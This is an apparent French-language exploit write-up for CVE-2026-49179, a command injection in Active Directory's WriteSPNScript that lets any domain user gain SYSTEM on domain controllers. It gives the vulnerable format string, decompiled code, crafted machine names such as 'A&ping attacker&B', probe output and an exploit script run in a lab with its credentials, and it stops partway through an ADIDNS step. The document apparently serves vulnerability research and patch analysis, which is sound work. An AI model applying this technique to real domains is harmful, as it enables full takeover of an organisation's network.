
Preuves de concept et scripts d'exploitation pour CVE-2026-49179, une injection de commande dans la fonction WriteSPNScript d'Active Directory permettant une RCE SYSTEM sur les contrôleurs de domaine.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (Injection de commandes) |
| Composant affecté | ntdsai.dll — fonction WriteSPNScript |
| Systèmes affectés | Windows Server 2016, 2019, 2022, 2025 (avant correctif) |
| Vecteur d'attaque | Utilisateur de domaine authentifié (quelconque) |
| Impact | Exécution de code à distance en tant que SYSTEM sur le contrôleur de domaine |
| Publié | Août 2026 |
La fonction WriteSPNScript dans ntdsai.dll génère des commandes de script batch pour la remédiation des SPN (Service Principal Name) lors des opérations de maintenance d'Active Directory. La fonction utilise une chaîne de format pour construire les commandes repadmin.exe /writespn mais ne parvient pas à assainir le paramètre Distinguished Name (DN), permettant une injection de commandes via le caractère & (séparateur de commandes cmd.exe).
La chaîne de format vulnérable :
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
Paramètres : SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
Le DN est dérivé du Common Name (CN) du compte machine, qui est défini lors de la création du compte. Lorsqu'un compte machine est créé avec des métacaractères de shell dans son nom, ces caractères se propagent sans échappement dans le script généré. Lorsque cmd.exe exécute le script, & agit comme séparateur de commandes, exécutant des commandes contrôlées par l'attaquant en tant que SYSTEM.
Active Directory dispose de deux protocoles principaux pour gérer les comptes machine :
| Protocole | Validation des caractères | Métacaractères de shell |
|---|---|---|
| LDAP (valeurs SPN) | Stricte — CONSTRAINT_ATT_TYPE rejette & ; | ' \ $ ( )` | Bloqués |
| SAMR (noms de machine) | Souple — valide le format de base du nom de compte | Autorisés : & ' \ $ ( ) ! espace` |
Cette asymétrie de validation est la cause racine :
sAMAccountName, qui devient le CN et se propage dans le DNWriteSPNScript sans assainissementÀ l'adresse 0x1802a98a0 dans le binaire non corrigé :
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA formate le DN directement dans le tampon de sortie. Aucun échappement, aucun guillemet, aucune désinfection.
Pour une machine avec CN=A&ping attacker&B :
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe interprète cela comme cinq instructions distinctes :
| # | Instruction | Résultat |
|---|---|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | Échoue (DN tronqué) |
| 2 | ping attacker | INJECTÉ — s'exécute en tant que SYSTEM |
| 3 | B,CN=Computers,DC=... HOST/A | Échoue (commande invalide) |
| 4 | ping attacker | INJECTÉ — s'exécute à nouveau (depuis le paramètre SPN) |
| 5 | B | Échoue (commande invalide) |
La commande injectée apparaît deux fois — une fois depuis le paramètre DN et une fois depuis le paramètre SPN (qui contient également le nom de la machine).
Le WriteSPNScript corrigé (taille : 1477 → 2005 octets) apporte trois changements :
Deux nouvelles fonctions d'assainissement appliquées à la fois aux paramètres DN et SPN :
EscapeForPowerShellSingleQuote() — échappe ' pour empêcher l'évasion des chaînes entre guillemets simplesEscapeForNativeArgvBackslashesBeforeDoubleQuote() — échappe les séquences \ avant " pour l'analyse native d'argv| Base (vulnérable) | Corrigé | |
|---|---|---|
| Fonction | StringCchPrintfA (ANSI) | StringCchPrintfW (Large/Unicode) |
| Mise entre guillemets | Aucune | Paramètres entre guillemets simples |
| Sortie | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
Une révision antérieure comportait un feature flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled conditionnant le correctif. Dans le correctif final, ce flag a été supprimé — le correctif est toujours actif et ne peut pas être désactivé.
| Hôte | Rôle | IP | OS |
|---|---|---|---|
| WINTERFELL | Contrôleur de domaine | 192.168.56.11 | Windows Server 2019 |
| Attacker | Kali Linux | 192.168.14.238 | Kali 2026 |
| Domaine | north.sevenkingdoms.local | ||
| Utilisateur à faibles privilèges | samwell.tarly / Heartsbane | Utilisateur de domaine normal | |
| Utilisateur administrateur | robb.stark / sexywolfy | Administrateur de domaine |
À l'aide de spn_probe3.py, test des caractères acceptés par SAMR dans les noms de comptes machine par rapport à ceux acceptés par LDAP dans les valeurs SPN :
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
Constat clé : SAMR autorise les 8 métacaractères de shell testés. LDAP les bloque tous. Le vecteur d'injection passe par les noms de machines créés via SAMR, et non par les valeurs SPN.
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
Aussi créé sous le nom samwell.tarly :
[+] Created C&ping a&D$, RID: 1138
Confirmé : un utilisateur de domaine normal (PR:L) peut créer des comptes machine avec une injection de commande & dans le nom.
Les utilisateurs de domaine normaux peuvent ajouter des enregistrements ADIDNS. Utilisation de dnstool.py pour créer un nom d'hôte court pointant vers l'attaquant :